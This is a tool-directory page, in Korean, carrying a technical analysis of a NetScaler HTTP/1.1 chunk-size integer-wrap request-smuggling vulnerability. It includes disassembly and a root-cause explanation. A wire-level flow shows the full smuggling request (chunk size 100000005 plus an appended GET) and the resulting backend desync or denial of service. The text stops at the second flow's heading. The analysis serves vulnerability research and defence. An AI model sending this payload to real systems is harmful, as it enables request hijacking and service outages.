Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-88773 — NetScaler nsppe HTTP/1.1 청크 크기 정수 랩 요청 스머글링 취약점에 대한 기술 분석으로, 디스어셈블리, 와이어 레벨 PoC 흐름, 펌웨어 패치 diff를 포함합니다. | Kitploit
도구/GitHubGitHub/scyrix-llc/cve-2026-88773
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationWeb SecurityBinary AnalysisPapers & ResearchFirmware Analysis
GitHubscyrix-llc/cve-2026-88773

CVE-2026-88773

NetScaler nsppe HTTP/1.1 청크 크기 정수 랩 요청 스머글링 취약점에 대한 기술 분석으로, 디스어셈블리, 와이어 레벨 PoC 흐름, 펌웨어 패치 diff를 포함합니다.

저장소 보기
181개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-88773: NetScaler nsppe (HTTP Smuggle)

HTTP/1.1 파서의 32비트 청크 크기 누산기 랩어라운드

TL;DR

nsppe HTTP/1.1 청크 본문 파서는 청크 크기 필드를 32비트 레지스터로 읽어 들이며 오버플로를 검사하지 않는다. 16진수 숫자가 9개 이상이면 값이 조용히 랩어라운드된다: 100000005(2^32 + 5)는 청크 크기 5로 처리된다.

이는 웃긴 파서 버그에 불과하지만, NetScaler가 본문을 어떻게 처리하는지 떠올리면 이야기가 달라진다. NetScaler는 클라이언트의 청크 프레이밍을 수신한 그대로 백엔드로 전달하지만, 요청이 어디서 끝나는지는 자신의 랩어라운드된 값으로 판단한다. 즉, 프록시는 요청 #1이 본문 5바이트 후에 완료되었다고 믿는 반면, 동일한 바이트를 올바르게 읽는 백엔드는 4,294,967,301을 계산하고 결코 도착하지 않을 4GB 본문을 기다리며 대기한다. 두 대의 머신, 하나의 바이트 스트림, 요청이 어디서 끝나는지에 대한 두 가지 서로 다른 의견.

NetScaler가 생각하는 "끝" 이후의 모든 것은 동일한 클라이언트 연결에서 새로운 파이프라인 요청으로 재분류된 다음, 공유된 프록시-백엔드 연결을 통해 독립적으로 전달된다.

결과는 백엔드 자체 파서에 따라 달라진다:

  • 백엔드도 32비트로 잘라내는 경우: 밀반입된 바이트가 독립적인 요청으로 실행된다. 전형적인 프리픽스 하이재킹.
  • 백엔드가 올바르게 파싱하는 경우: 하드 디싱크, 결코 도착하지 않을 4GB 본문에 연결이 막힘. 연결 풀 고갈 DoS.

인증되지 않은 요청 하나. 기본 구성. HTTP vserver에 도달할 수 있다는 것 외에는 아무런 전제 조건도 없음.


근본 원인

청크 크기 16진수 파서

파서의 임무는 간단하다: 1a3f\r\n과 같은 청크 크기 라인을 숫자로 변환하는 것. rdi에 있는 버퍼와 esi에 있는 길이를 받아, 16진수 값을 *rdx의 32비트 슬롯에 누산하고(입력 및 출력, 따라서 두 패킷에 걸쳐 분할된 크기도 깔끔하게 재개됨), 공백을 건너뛰고, 후행 \r\n을 요구한다. 소비된 바이트 수, "데이터 더 필요"를 의미하는 0, 또는 잘못된 형식을 의미하는 -1로 응답한다.

전체 루프는 육안으로도 버그를 확인할 수 있을 만큼 작다:

20af5e0: movzx  eax, BYTE PTR [rbx]
20af5e3: test   BYTE PTR [rax+rax*1+0x2746c80], 0x10   ; ctype: hex digit?
20af5eb: je     20af60b
20af5ed: mov    ecx, r11d
20af5f0: shl    ecx, 0x4                               ; value <<= 4
20af5f3: movzx  r11d, BYTE PTR [rax+0x2746b80]         ; hexval(digit)
20af5fb: add    r11d, ecx                              ; value = value*16 + d
20af5fe: inc    rbx
20af601: dec    r8d
20af604: jne    20af5e0                                ; next digit

r11d는 누산기이며 32비트 폭입니다. 각 숫자는 value <<= 4; value += digit를 수행합니다. 숫자 카운터도, 자릿수 상한도, 오버플로 검사도, 루프 어디에도 jo가 없습니다. 아홉 번째 숫자에서 오류가 나지 않고, 숫자의 최상위 비트가 레지스터 끝을 넘어 밀려나가는데 아무도 알아채지 못합니다. 0x100000005 & 0xffffffff = 5이며, 파서는 이에 완벽히 만족합니다.

유일한 정상성 검사가 잘못된 절반을 거부한다

다운스트림에는 정확히 하나의 정상성 검사가 있는데, 거의 시적인 방식으로 잘못되어 있습니다. 디청킹 드라이버(sub_20af6b0, 호출 지점 0x20af719 / 0x20af9fb, 크기는 [r12+0x344]에 저장됨)는 누적된 값에 부호 검사를 적용합니다. 잠시 곱씹어 보십시오. 잡히는 유일한 랩은 음수 절반인 [0x80000000, 0xffffffff]에 떨어지는 것들뿐입니다. 하위 32비트가 0x80000000 미만으로 나오는 랩된 크기는 완전히 정상적인 청크 크기로서 그대로 통과합니다. 0x100000005가 5로 랩되는 것이 전형적인 사례로, 랩되었지만 눈에 띄지 않고 파괴적입니다.


왜 밀반입되는가

패킷이 스머글(smuggle)로 변하는 이유는 NetScaler가 본문을 처리하는 방식의 한 가지 설계 결정 때문입니다. 즉, 클라이언트의 청크 프레이밍을 백엔드로 바이트 단위로 그대로 전달하면서, 클라이언트 요청이 어디서 끝나는지 결정하기 위해서는 자신의 (랩된) 프레이밍 이해를 사용합니다.

따라서 NetScaler는 요청 #1을 다섯 개의 본문 바이트 후에 끝내고, 뒤따르는 37바이트를 두 번째 파이프라인 요청으로 큐에 넣습니다. 산술을 올바르게 수행하는 백엔드는 100000005를 4,294,967,301로 읽고 요청 #1의 본문을 계속 기다립니다. 그 시점부터 두 박스는 동일한 스트림을 읽으면서 서로 다른 세계에 살고 있습니다.

어느 세계에 속하게 되는지는 백엔드에 달려 있습니다.

흐름 A: 올바른 64비트 백엔드. 디싱크 웨지.

Attacker                           NetScaler (<=73.30)                            Backend (RFC 64-bit)
   |                                        |                                               |
   |  [1] one TCP segment, 122 bytes:       |                                               |
   |    POST /wrap HTTP/1.1                 |                                               |
   |    Host: poc                           |                                               |
   |    Transfer-Encoding: chunked          |                                               |
   |    100000005\r\nAAAAA\r\n0\r\n\r\n     |                                               |
   |    GET /SMUGGLED HTTP/1.1              |                                               |
   |    Host: poc\r\n\r\n                   |                                               |
   |--[1]---------------------------------->|                                               |
   |                                        | [2] parses "100000005" into a u32             |
   |                                        |     wraps to 5; consumes AAAAA;               |
   |                                        |     sees terminating 0-chunk                  |
   |                                        |     ==> request #1 COMPLETE                   |
   |                                        |     trailing 37 bytes held as a               |
   |                                        |     pending pipelined request #2              |
   |                                        |                                               |
   |                                        |--[3] 85 bytes, framing VERBATIM-------------->|
   |                                        |   POST /wrap HTTP/1.1                         |
   |                                        |   Transfer-Encoding: chunked                  |
   |                                        |   100000005\r\nAAAAA\r\n0\r\n\r\n             |
   |                                        |                                               |
   |                                        |                                               | [4] parses 0x100000005 (64-bit)
   |                                        |                                               |     = 4,294,967,301 bytes
   |                                        |                                               |     waiting for a body that never co
   |                                        |                                               |     [WEDGED: no response, ever]
   |                                        |                                               |
   |                                        | GET /SMUGGLED waits in NetScaler's            |
   |                                        | pipeline queue forever: response #1           |
   |                                        | never arrives                                 |
   |                                        |                                               |

흐름 B: NetScaler처럼 32비트로 잘라내는 백엔드. 완성된 스머글.

도구 다운로드